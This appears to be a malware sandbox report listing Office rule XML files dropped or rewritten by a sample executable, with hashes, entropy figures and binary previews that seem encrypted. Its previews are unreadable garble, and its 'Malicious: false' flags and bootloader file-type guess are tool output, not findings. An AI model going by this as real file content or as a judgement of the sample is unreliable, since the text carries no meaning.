Preview:	<?xml..r...ogN...<.Ej..e.....D..G..-),...<fY"..jnT...z.1...cR.R....f7....]A..XOe.BBaP..BQ.A-N~ .H.Ig.3.b.......q...&.{...c...].....y"p./u[.F...5..:....Ln...@."......{m....z.v2...#..)......d7....._.C.#..D..8.11...c._q.G..y:...X:/9..E..e....2...4........T.&..b..5.:X.(....U!!...1....Y..K..B....QCq.........w.K.H..D...j....a..U..L.l.o.!...Td5.7...V..N..O......X.p..G.-.S.R..b..]_..A.h....HuZ{$.{..g[..z.Rf.2w...)...g..s.I...a..].....A.7..]y..sT...~v..q>.f..........X...4...a.... .M.Y..t....F.9...F..;..........._.].M>..Ufy..'.)......A+...V9D.+...cX.(.[C...,.6....2....\|....u..D.~.c.2..s...]......6...U.Z......21.A..J...-..I.2j.... ;P...9%..V.NtAT}>.j.u..2\|....Z{....M./....2=..*....,u..Y6..f..@.]$....).....:wD,&v...P....4..6d....Gm.KB.F....n..T..&.......5..q.R...Z.#....R.@..K....0..N.0t.........i0.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324006v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	GRand Unified Bootloader stage2 version 33.192, installed partition 1635265893, saved entry -1173988888, identifier 0x1, LBA flag 0xcd, GRUB version \275]l/\247\\261\330;\3622\341\267\322\252e\247x\334\032\367\327~U7\034:\265\3377\327LiH\037}\263\254\365\202\033y\243\262\235M\031\337\356\244\206-OT\257\207\002\010;A\361i\255n\216\3115\250\007\252ym\303_\006\201\333Ei\233\002\344\302\355f{_:F\030F\231\365\204\037\3326\256\033\247\231b\244\017\006\270N\211F\202\354N>\371\304\377\334\224?r\314\342\255\321\206\307, configuration file \\261\330;\3622\341\267\322\252e\247x\334\032\367\327~U7\034:\265\3377\327LiH\037}\263\254\365\202\033y\243\262\235M\031\337\356\244\206-OT\257\207\002\010;A\361i\255n\216\3115\250\007\252ym\303_\006\201\333Ei\233\002\344\302\355f{_:F\030F\231\365\204\037\3326\256\033\247\231b\244\017\006\270N\211F\202\354N>\371\304\377\334\224?r\314\342\255\321\206\3073h=\363\271
Category:	dropped
Size (bytes):	933
Entropy (8bit):	7.760995167329121
Encrypted:	false
SSDEEP:	24:MX1Q+BkmWF3Bb9/ijhjAGK4MtHBcs77YcuqIObD:MFfBkmg5Gj5MEs7U4D
MD5:	3CEC03A2F1012A5D1BF1DF9105E6A3FB
SHA1:	E37429D156690896CF7B034AEFAD861FA9AFA85B
SHA-256:	B3B1904215E7CD5453592079F056F60830B1D0F079EF15443C4E9D23C7E26685
SHA-512:	1C6D9DF0FA722264D7F589D024DED911E3E6E2D091CF5C37C83677464A306B6F562F2A891D449520B33890E2E7ACD182051944C7DD0EA2B490207ED93308AC85
Malicious:	false
Preview:	<?xml....y.......&qzUh(.9..H!.4.x..KMZ.J.....J3w~....~..j..iCD1...XM.....^..av+.....UN.I.cQa..SED....\|....\|.k..K..)...1.L.:.V.r9....H.} ...Q.2o.osf@.C6U......_.E..I..#..0.D.4%&X.R.{...o.)....n.6.k...c.0Fe.....;6xe.B\|...p.HO.F...u.....nWC.Op..!..v....6Y..?l_!.$o....;.a=Ci.x..\..ig.f.z...........w.M..N ..y....tR.4....m.mj;..s}j......TJ.ydQ....P.......q}d....>..}..5..[OR..{/.K...{.)n..Y.@W.\..w...^)....6.%d?.4.{.@\..p.._..0.Kl.Z..p$Y:.T..[..`.P.O.T...\|.Z.B.Z./kh..F3.E.......k.E..:..m.(8.p.X.!.e-xa.Y....]l/.\..;.2..e.x....~U7.:..7.LiH.}.....y...M...-OT....;A.i.n..5...ym._...Ei.....f{_:F.F.....6....b....N.F..N>....?r....3h=.......Nj.... ....YH.q.....~N.?.<).).9...4.09.5.*0l.....6)...../......?.I....4g....2I.=.o.0f0...r.j....9.Rf.d.@.Q8.....f...$...R..u...?..3.$..=.e.x.J.9.wi).-Y.A.!qH...D.Gk:1w2.Rva....BZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324007v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.790759695547525
Encrypted:	false
SSDEEP:	12:U43NQF6GCFD+BPrmuLy2kK4sGhe610vTBR5q8epWqwz4ikk5O73yoCC7kEUMuOcq:U43p+BiuLyUkMBqrY8q5JObD
MD5:	341183A1DE706F220B8C801A31EA7491
SHA1:	3CDBFFB1DA253B6BC777F8801359F207C2977AB7
SHA-256:	A72A80BDCED5FBF8737B5885EFF6DEC1BE6F82E051B7F82B98DFEB3E78D5A8D6
SHA-512:	AFC51F3A874ADD875E82F511222F7893AA633780499B07D1921CD73182E0186288E7054B2400AE98F28EBA6EB13F48CCB615EFD5B9352B1CE85A50278CF5FB91
Malicious:	false
Preview:	<?xml:......X.(A.tiue..0HW.9S%....g......]S..D... m....\.a..V.tcjy/.v....>.............s....T.W.P......[..?...Z24>DW9.....8....~.f.......+...g,..h.e_...a1RL...Z>.:(\| `.H(....;..$.C.C..<Q.E....+Y....C.I..}..v...>.........uh...5.B...5...".p}q}.L.?...H5=.........-.K0I\.....3...>.....O............A.O.P&...z....p..d. =C..c..w......y}..W..~j`n..;.w....g.....@tb.qDI[dMZ..b...........N.......\P.._...}2..:../...^..l.o.NF....?~..1...cRq.....+R.......)..S+.O.......1..+rv...6.}d..U.)}..*..a.....7/...$.t...7.................b.es6...."...8...........mu.Xm.A.k...[1...........A@._.R..n...7.".}....(.S[.......gm..."U.hblxa.z..].9.......{.).Av.m...oQ]..0..7zAz.g!)....[.g.7.-/.p..e..5.}.B..c.?....K...B..;0..Y........~.pBTX.!.]m..+j=..d.f....].:....7...j.dM..+...<7...r..S..D....O4Q.,.#......#...N...eIB>@X.8...h..1+....]..`...O....IU...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324008v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.757434300348661
Encrypted:	false
SSDEEP:	24:QmaTKpNoDWQXyI9vsuNI2iOTI/Jak8mpLx9ObD:/kOoDWQT9vZS2iPxpiD
MD5:	352F8CE5B3EC680580F4B4B1F1411979
SHA1:	FA121920BA56FB4D10AFCF9FE645075EF8BD733C
SHA-256:	237330125DA7045771922484156C8954E691519C9F6E1C0F6E7037B24328377D
SHA-512:	4F5038997D0CDE3B0CEF42B768C893F05281A34783367519929409F5FDCA1165F36E316FE62FB7E7320E7A4033CEF3A804FAFDA57CD8A4BEE8459CC8E0EE3DE1
Malicious:	false
Preview:	<?xml.v..B....N.P.\Z...f.<..V..p.\..n..[..{J..E.y.-i"....s../.h...a.v~.#.`.=[YT%...z...C.=j:....E.f9..#.]fAe....>5..H.s.o.......gI......B.FAz.l........7...rS...D.U\|...P...M$.........o^2I..6..Qm..;...C.C6..i<...T..E6cm(U...(..a.X..N.+>.....H_.r.CF~.Ng.&....O....a.~...F-.Z.....].e.p.C.h.L.C.IC.I.%........*.....<.\c.t.u.G-.%q..GP.......;r..-..6&z.Kyw.L.Fm.':..`.$s7...q..!v1E(`d.32..!g...j2+8..A.T....x..Y&do..H...-........2..D...N..a........r`.......G...z.._vA..t."...v.t.e .....BMdeQ...2X.`.B..@.e.%.@ql.!.Xd.k31.....;...W..:......N..\|.\|(.g[.Z..;.q..'c...6.{0F)..:.........O...J.2.!##+.....-(,....&7.`z..p.&.3gP.&...p..z..=nB...a.t......0.i.^t.FJ_z.j../LH+...7.....6.....!a.....!.>d./.....W;v....'r%...<5..jV..R5W0..eT..Y...4c..t.....k.e.Y....H.4..J.".W..ne.U..X....;..`.a...=.'.2.l.1t..5.....4q.......{.MZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.794743316919533
Encrypted:	false
SSDEEP:	24:QtL0UJ44j1rSuMrdHP0hV5nQeBqQL0ObD:QtLjJ44jsdMFfXD
MD5:	C5E89352220A14BD66BA15F6ADB83B95
SHA1:	B8716BC62370FB65DF51C2168A15F9E93DFE5F90
SHA-256:	85F491CB6CAF4E59538439F6A03546E3C6BAFD9FC27B8FBDE4A200F1460325FC
SHA-512:	E3BD24272F99ED8AE20BBC8F6DAB39BAC560123FD036920E564FBA9CEDCC3DBD7EB5E2BF18FAF3F4619DF185AB22D6262E206B6641EE60C6F90342988E01F326
Malicious:	false
Preview:	<?xmlm.......YG.d/..?.H..........u..A...(...v..A.5/J..."9Rr.[}<.#.q.......J..../........\.`.. .g..d4..\.......rNsV...P...F.L..S....:.a......].!\[.O.?...~....u.B=.lY.bC.lIy..f...GLjF...r.Y..`YN.?...e.]....EH......!....6<.2S..N..Zo.4sQ0..~.)0...4.B......P?A.ZYX43.T_.E.%..\|.0.#e..L\......+.^A.....(......,.......[I..%..D.G.H.z......a.v1+..#......A...)....1....j?UuF!......i.Q....d...Wn..=...5.&..}..cAMP....@..(;......!..T.s..w....A ..#R4.%G.V{..%?.o..0............(.+.....W......1.~...<.(.._..^8.(&..k..!........q...)...U.Q.+..k`._e.x9..........#(..(...\|S+...l^!...Z.x).!Ul.#.2.0.^. `(.....TF........g.i'.Ns...CP..l... .?......}8"zO.....uv......5..+.[#.....$.<....Hl0]...hv....K.@.....><".{...i.G..=.'hA..F.#..}.Tj.`y..z.6..Wx..Wp..Z.=..;l8a...@w.d.S...5X.y..U\.T.......D\|.n.= 6.>..__.......#.z.'......uf}n.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324010v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	945
Entropy (8bit):	7.781388900994623
Encrypted:	false
SSDEEP:	24:psFZKi1szXf+qXfH1tuhbUM9KBkLRJ016OaXpgx6AK0pMBSj9ObD:pAZKYszv+qXfHXSBscRJ016k60pMojiD
MD5:	27ABE5C8CB27C93B6DAD819AE19402D0
SHA1:	D7343448E06CE443CE1D3DDC3837160E790145D0
SHA-256:	23CDE04697B780826AB2A2FF58A7B2B58BF3DA117F307C4CE1B98AD0F9DA07CE
SHA-512:	D824F6D71823EEBF74E2AFF4527EEB5BB92CBE304FC6F3AB041AFF7F70AFBBF39B64E026996F98AAFCEE8C4555BC7982E3A56B9765ACB9879834EBD8A891011E
Malicious:	false
Preview:	<?xml.u....X.3......0.........z.Z.L[C...\...W..$....\|if...M...l.^A..`.DO..FW..F.2<..."Eo8.......~.hpm.....UB.}um.6......S.......d.#'.:8....E..4.0.O]...G.BH?..\|0.........tN..].l.z.Z..6.,#k##'....}a.E7.p.t'N..Z^...L%..`d..:.Xu..^....~h.o...A..zm.....VZKn.....d..%....5=....z.:.a.`.... ...o<.(d........v..p..0.......#).U..f9...Q....8.b"Um..H..NZ#...V.......(k....+.g.2Cv..C.....).K.!..u"~!...LnQ-..I..^..c.4;>...T.~.".O....l<..Z......>..Q9..C_.."^...Z..kwz"+o.....x.8J.B9'...i..0.#@.O..>....g.s.&......UN.V.d.>.R.......M.....~..~q....6.XD4.-.Fn.5..0.ZX....]M"pK....m..t.P...c}..W....^.r.xH..y..`......[S........._3f.&.........a......K:.).....E.N..M)gf.0g..Jh.@....P.$=.xu..B...&T...~........-2...B-..X.d...M..k....\@...`...].-.x.5&Ns.W......(...{........gz......0c...&.!.kWY_.{.....H............I.g.......9.(../..2.P.h....=T.'@..8.a/Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324011v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1000
Entropy (8bit):	7.7895474238270195
Encrypted:	false
SSDEEP:	24:YsvlRWp+AnPI5V+7cmdyusjTyPULaMmObD:3AKVqRdHsvuQaMJD
MD5:	C48070FAD35159B24B66AB599E55197B
SHA1:	2D54941D65B3BF283A9C386C445D288F0C724DAF
SHA-256:	8AAFDB7AD41AFB8A52BE139A26CBF5D74B84C7A832C62586F9AC0DD5697307A7
SHA-512:	79CCC3D1AAAED3322A9017F58FA9FA2454D3AB5CD36D48E33F906B5A67E500354328969DCCFE21A4135CF8EF2F703F6B33BA9F2D4D48F7E2AA5BC5BBA68A9270
Malicious:	false
Preview:	<?xml......`n<..92.J.F...$..E...rTQ. .1.L..o...........h.8EXs.[....R...1:v.[..OZ\..9P....m.c9..6C)`..$t.G@....&...tw...+G...cj.._... \..O_%Eskh./Q..P.bf....._..}l...w..+..W.Mj.H.....f."l.?...(...;.;.n.....b6..\|..7.!q\.\4..o.b$..>.P.).K.d...M......\|....;.....Q...+...~.g.9..&p\\|...0...."T...P}a.#........n.#Q.k.......\|.%.2..B.\..t.}.@_".-.#..F..6.j.VG....O...<!(BdY....4)N...O..Z..{X..%#B..'..K....$K.}...<....\#OC_..";!.2."...X......:.'..g.%.W.h.O..e..Fw.(....&Y.+.W.]. mh._..z....,....N...A.].n..#..p.b......o..R.N.n..R!#i....!E..>d...... EzZ\.Q.......).......0.......n..0.n...\|......j+V.........F..?......`V..C...C..b6.f<..Y......D.`&<W....(...N.c.y..@$...u..d....v.\|..G"...L..{A...68..oH..n........1..!jaO<%.d.#...#Nz.A.X&..K.K.6V....=..+^\|.]..a_.....e.V......N.^...@....Nb.z.~j.......\|~......Q....I#;..m.....k.#).c......8S....../.K.....%OrK.TH....!...Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.869543354236388
Encrypted:	false
SSDEEP:	24:MC3xr5OXCvMlC+PhhrN20Q55wkAR5OMfGDA858kJaA3r8B0l0lyHT91SQ4HQShH7:15OuMZ7r1Q5e5aaK58kJj3r8B0zzTSp7
MD5:	A0232B22C0F4C2B64328A94305D0BC72
SHA1:	558451F4C35C5A8CB28844E32CFD5A5F6BF3BF2F
SHA-256:	8EB9E60F35E0490A603E3E24BE06D664F2CA0776620690426404CC8039FC0080
SHA-512:	233E340792D8DB785E352FAE0E0B23F0577E022F5177356A52D6D7B4538A114D449CAC337155B3BCDED45025D9D9BD08DE4C8D2E59E35223924583E10B3AF489
Malicious:	false
Preview:	<?xml.J.Ci.a:..e.j.l..'.SU.o...\|Lb...qD..,...bq.])B......S..@...ml....in...P..L..\..r.1...~..:T.i2.C_.....x......#...y..U].....&......x...C..o..4......CKk_N\|=.dFc....?$.Q.3..Q....<...G-@g.._5...=.3F.Xo.w....e......)..+<0.3.K..\|h..}.2.P`...u.]HES..\....i"^.OQ.5e.zi....=..;...\|.ze.k......@..\0....Zw....@.....5...F.M.....A...Iq..?.}V....e...F.5......._8..{.......v...D.{1,c.@..A.p...J.q...F.h....V..{D+#.....<D.........[C.[..... y.W@.P.m...=.........s.......%.......or''...C..l..W\......0N....\|.D[.k...8.%...;!...k.f..:f..BX..a.GB.....Bs..\M......J.C7.1./..=...t@...n....f..oE..U.... u...c.,.ha...."..6t .wEH.'.gA..T...`..6..7G....r....)4.7.r..97b...;.o.'&.....$....a..ZS.z..m{.m......s.....Z..y+.G,..O/b.L.....`.7...+...._/<"[5L....$..T....)c...H.5+..9...br.s..vA....%...F.... .....\....&e,..P.S....N..xu..........O...=..+....B7'......l...6....e...td[....D\.o.8.....\.......F..N..i..^.S......}...T....y..vv..=...t..X+}.&.......'.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.862912584684753
Encrypted:	false
SSDEEP:	24:bh2uuY4Z5weUbVGrW7dNUXyEjEGt5+X7Z554Pcgn3Y6Ry4VxObD:bh3sweUbV2WCyEjEG+7f+PcWY6U8GD
MD5:	DCEC9B44DEAC71C71B04DCDB1BF1FF93
SHA1:	6A831BC4C3F7184849C829421029FF826332BEBF
SHA-256:	D72647B75C59565E00ECAEAEEABF400C969268C17C12EA79A31AAE8E3BF6DFF3
SHA-512:	EF30F99909FE2D3146B587C792DEEDFE13DC3ADEE76D14A2B529FE5E434479AFB5C821120852A1D872A878CB31B81B0BFC7936E803BCF95368A5E5541B8751DE
Malicious:	false
Preview:	<?xml.....$IN.N7.inBz..h..z.t.c9e.v..O.J[..0O.ZI..1....X.F$..g~..G.{q.X..^..=.U.v.%w..F...Q...xk.5.j.O...........h.w..e.nV...... ...1.w.O...;.......W.Gq[....,K,.T.a[A....q..<......Yo.k.l......f..DJ+..r.L....HbO0:.f.....d....n....Y.......E......\"....c..$..F.g.?mb.......+r..w.....gCO.B...g...G/d~.t.R....mR.P.........}.i...3..-.n.R..~f..?.5<bIJ..;..QV......4..lQ5B...M:..i...".@..H..7C.UB;.2.5....2."f........J..f...<...&C.....:#U....\R[....k.v..,.."..4..}...].w."..3.h....B..G3..1....ok..s.^$s......^......b..I...tG......r.v 3<...!5S8...pA.!....f.x>.t......9...$.Yn6P.n.......@.)...5......9.~../..m?.....m......TL.........g.x.&.%..U..B..c...........K.Zo....}.]A...!?S...@7....(o......6.....\|.D.I.uA...i..2.E.wU.~....{......!...^.5s.?~.@........B..#.HdU...C..(%...5s.h.......Lu..m}X.;EV.[d.....D$......N......M..OR.~..&.ww....-.....r$...l........[\|H].r...H.......Z.?.iJ7.....+..NJ..M<bP.n......I..u:>W7....v...y.M7..a..Tb4J\,}y.E.....8&..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.8236616815307105
Encrypted:	false
SSDEEP:	24:pSAzxny9ZwUFHgJeoKjragmEX0ywzXAwxObD:AA1LleCgb0yaX3GD
MD5:	E45CA191CA5757082D3D5711ABB04A5A
SHA1:	45173C3481580EB1FFD4818FF7073AC64215C86E
SHA-256:	93090E9B40AFD3AF3A2D0A916545C693BB3EAEC45CE385BCB2E94F636ACC1009
SHA-512:	5FA7F1A663E195E5A285F8145A80EC5662994AB682BFAFBB38189EA59173ED2427C60F835576991B3E2B14719B233D598D08B82BE208419EDE23C0755FEF0C69
Malicious:	false
Preview:	<?xml;.q...^.pu.tN..l.z;.eJ....C..7j....H.(..g..#.......!..M..]..m3.^.....>o.ePS....jG.._...G..))...V..%Q..N.s..)...\....xW....D}r.....{.Ax...g).%.yj..Z...E......9.hZ?.9q.ut<.V.0v..qt.....[.5.g....B..K-.~.jd.......9k.{3.[..u.1.'.../R.n..Z...cM.....=z.....X..L.R&...o...w.C~]..k..:....X.\|h"..O....U.....Zh.h...Y..G.....W.0.MI.....^7>..2.].......Sw.j.$..%T.f.6..)R..M..a....X3.[.b....o.>uw-jn...."O.. .h.[R..Y..gK.xt.%$I.1...h....8..}....+.\|K......[Cj."N.S...R.t..e8..g.o#..!...J.I.`...3Q....9.rd... ....+.uM....!.,.-.>..BY.y.Y..J...m1...A`\|.s.xz......r`.b.eB.F...?X@.K...q..$!b..9r..o.ra.+..a......L.Y.....h..&\|2)B.Xl......K.y./...z.4.d.......f.O..._X..;>.@..b ...=.Z^...h..................w........\...r...(=[.k....'..'S8s...\.......R. .0.$..]y ?}..r=r:On...^..5.N.....J......j..............I.....}..~[.8XP.1.q....d._.....z.. eF.h._..CO..O...2.D..?.'I._...\|P+..^X5.Lc...;.5.._...g..........V'.E..y.....a....o.!=..8Z6iwSvCoAt8T8K2ROxecuXHPNHv7e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.7940170925346255
Encrypted:	false
SSDEEP:	24:5UiDTE2rA/JcSDnWxviZNKw3Nxs6Q5YSCtCip0+xAObD:5UiDXuJcSDnaa+CNxhQsCeND
MD5:	D9D733F97E7E34217C51E428ECC70039
SHA1:	0E934F0ECDBF31E64A3E1BF093F94E5E66DFB7D2
SHA-256:	B663B0AD3609EBE88510F36F23F0B4F3554BD5DFCA87A6F0BCBB6FC4B0AE9528
SHA-512:	6A8BD3917089333434B3EFB863D00955179242FAF898C83B60FFB40D445E9FBB3D0F0D456DC31B17977605DC08D44E807367AAEAFC6976A568287A33492F9A1F
Malicious:	false
Preview:	<?xml...c7Y1...~.n...\|.+..b.0/Z.@'.(.$.WH...QC.w.=... A.=..........g.u,.8..0Sw.!x.p/I..Sa!.?.U.Z.b..^15.(..,.z......\|...d..].5m....).,.Y..&#2,h.....cf...nY.f..Z@n._.v ...uv...6..i\__w.G{..9......-m...(.W[.....n........bD.I.m..0....%.R.....!\|.............(..KK...D.N.;.dBJ..CUdz."..3.9idb....\...3.yt?a9.....#:...$;d.{..x.T3.~...\|...HL.S...<.A7..5..?.?Y...g..LTUp...3.oc(h.Z-.........c.(..H.sW>..Y..<l.(y....L+....w..2.I.....>..l:.1)......t9....B....YL..C........C..w.Qec.IC'..#..Gje$.G11.....6<c?L..9..v\|a...k\b.<.....K.&./z^.".n#e0.D.f#2.+_....!.Dn.{..p..x...3...Ew;...x...5.......=O..?...L2.....C"..j7...!3-.i..&..Lb.gm%.&..+.v.^..n..X...].Y..r....e..C.c.-.G..fa....G&/.0....U...R...5.d.M.r.\....a..T..="..k...m.....q......w....Km..a..H...V{.B.-....@..o.>%..0 .N..3...%.z.u.T.....q.....x...)).s.."@..*......W.uTg2Tf........`..C..6^.%.B..A_......>...>.=........&..l.......(/...=ly...\|...w.n$.c.f....i.sn....`.@E..r.0....z.c..7...K.`.F.....{..@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.981290116544167
Encrypted:	false
SSDEEP:	192:D8DGZjlogcku09W2SQEmHlZWDvKnSnvUonmdP0jLh4b8zQhNuSSBJHovU:DFckrcyEOivUonmdvwzQqSMovU
MD5:	5CA5826E49D6913005E16D89732B2FA4
SHA1:	FB602A321478EF3241CC7CB2C87FCA88D376A026
SHA-256:	AB6CD613A8199E59CE904F28BC5C5D05C94265873F71E69A23A765D1AF0F0F0A
SHA-512:	2F63429A164F989494E0BFE0A9D536EA2E8A7ABBC075F4EA63EF8FD345E7AD112D1FCAC87A22089472365A9434987360D1DAAD42C79D92650A2211956F795711
Malicious:	false
Preview:	<?xml.[.5wq.C.:.l.)..gI..-..+.GOP~.8...S...W.0..6............uv.`]G.[..b!.y..?...s.S&.LM.r....O..8..\|m1n...$......f.e@..K ..Mnh_M(J..~#......%...X.fl \|.v`r^gC......sC....n.$.../....../..2.....q62....]La.T&s.f..%.P]..@K>..........:..mK.i'.k...>1$..F..4%w.....,e.C{..>o.4p.....I...3....biPQa.W.....6QB...a.h...(..\.}.1G...G.4.x..KxI...P.L.O.57..........z..V.>.P.F/...i.....W(.}EV.'.m.S:.@.....T..&\|...y....NbVXT..c../..s.u....j...R4;.v.j\~..?..:........a.g..zp.-V...rr...BR$;#T.r..."]......f....L..XWj7..,.s.9b...W.(.E.O...})}o4.@.?....P..;..W..g.}.Bz.......k..oL.......pr..`.~#..#.Qs..I.&...O..1............t..:.E.....P<+..\..%..\k....\..l+..$.....8.>...'....>....7?~#..Y_...r.[m.....n.S7=T...sz.......J[)c..g..}...1.....9..A^....b...%._O^....[.`k.;..}"..V..E......m...i=./Fp.e."..C.R.r.....%...THf....b.5..3..6..s"8....M...Q...........S.+"..e.....2QoB.._....8..5.Q...i&...i...H..r1./O.0._...V...&.n..8).8.g.PyU...#..-.......Q$.....]..S...V....J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.925321468678092
Encrypted:	false
SSDEEP:	48:ufYYDV4u0FOVUfqm5L3HRKPygGlQxTdBOPsywqnj9Dn57PD:evCfHPSTdBOEyznj9F
MD5:	D60385CB0A8E883C9F3F2F9A91B669C0
SHA1:	C34B483903F5CE0BBCB1ED2A5B56D3FB98DE5AE8
SHA-256:	DD35483C23A9290D021FDA320658008658571EEA51F01C98AA96CA1AAB6B27F8
SHA-512:	35D518EC06D1C795C2AAD36CF4B540A3EF812C9C1D4EAADEAA272D52295DCA45B6618BEFEDBA916D2EF5CDABB3BCBE0ED18A3909D5C9A4EE3C2B97CE6FD2F9E8
Malicious:	false
Preview:	<?xml.Fxh..Ix.}a......je.w..q...F...... ..t..]...,....J.O.\..(. Ss:.TX]Y...wn.M\k?.fT.K(....\|G.^g...n..Af...y........L[... ...8.e.VqH......M...\|.....a..E...../'..Hn.C.pJr-...".R'..@.x` ..&..').F.\...P.tcC0S^..uK.-a"#....~.Y../?.+L0 @z. ..cA}"G.B?..3d8..M3?........._).v.^@]....m..1r..%."......nK.uan........a.\|:..R.<...o.V....."(].Y.x.G...[..C.......{...j.!y!..<E..v....=..W..X^..5.M.....:.s.k..9./.=Q.5q...=.M.).s^m$. f...N..&...>f.....m..7...e...X...,....q....A..'.p....dJ.C....:..I.%..i../.G"^.yK_.....&..LA.$Y.'..E..."..>.8.?O]_...D..}.....;....p/)...L{adbf....M........k_....+.M...."...Y...((N.OE.t....!gF.%...}$Qo.6.<.\....<[)..).Q..Z.&h...D. .....ecF....8./.>\G.2..!........qa...o.UbKE.j.]..6.......Tx$z..!..:-jz!yi.D7...A.L.%.....7...6....G..f.._.^..OLU...`.N....6..K.A...>_gS.........'>...3.G.\..Y#...hHi.J.u.j7?.Q..qu......m^..K.5..k.*.e...7\\.\|..A..dM.Gp.so..o+.?....M....-.6.A.(3/.19.>...R.)..mV..@B.\........-.......[.. .O.v..{."...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.91044338176109
Encrypted:	false
SSDEEP:	48:ZIVXUkYHUKOJyX4C6bsyKcepFltt5ncNi4j+mEroxWnIFiD:aVXD0zOJyX4+yopxnPEU
MD5:	223743BD9B19C2BCADAA57543AD0E547
SHA1:	9FCFBE3D1C91ED40A380884A25C30FF1E119D067
SHA-256:	3AE2FE1D6EE5EAD0F6FFB57865C7BE3F247CA3628B054E1DBD86A971CA1BA2D1
SHA-512:	0EC876DD1A216301360EB84AE61C27AFDC28131CF429B598A64E1D382EB7F94FED09901965467369454B3B3328227667DA5AFC06E6E5F552C58830A17E79B0F6
Malicious:	false
Preview:	<?xml.Cz.'.!g\..P.$...>a........=.z..ncv"....4]...A.3b.&.].(.-e.c\8.;.z..{.k...+....1.O&..s...U..?2...U.w....;.. ..%..`..%.......S.x.9.,&"S.).....^..}D.....c5...U.bFU.....r..`.&^?.T.={\9...e.`....D.k.X.)..&."),G.F...._.....=k..d....y ...../..5'...t...s..7..~{.@}....j.4@_.-7....A.A.K:..Ii..&....8....Y)...........}...D...B...c;0...&...@..g +....@..._L3TV.H.(..0$.)....u.......k?..?...,\.o..XJ...k..2..&2.....i.........G_{..n>'..;.p...j/...j./.&3.Aj...\|.\`.o.....;.....1.!sE..g.....k.w.TJ\|#.-^F....!.9."O.1l'....9w..+........j<..:.\|zi.7....(.;1r#.V..Sd.........0\|I.X=q0y.s..~.`AU..AQ.u u..qda..J......!y..".!.}<...`..b...\|U.^^.G....8-/...O.?.%=Z..q.2.:..c7..P#.bQ'N..r.a...>=18....(\|l.E,..r$k.q.o..V...3/....!.c~;(..3...%.....#.....Hu;c/F.Q.hIIe.!...I<V.J.......N.... O...0=w@....'p....B..kI......Lj..'.H...4.BG.............%.$P...:ot.j.7`..9.....c...Bpf=..&.]?..].....x39.....F.W..c1...?.k..nZ..._>.7.g._cj......<...2D.y....6u....I..0T.O..}-..."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.847504582310755
Encrypted:	false
SSDEEP:	24:YsZ8LuSo8TuzW30qBWq281EiKp9XpMadaBetX4RsqMF1ObD:bjSgKtDpt0cwqetHF6D
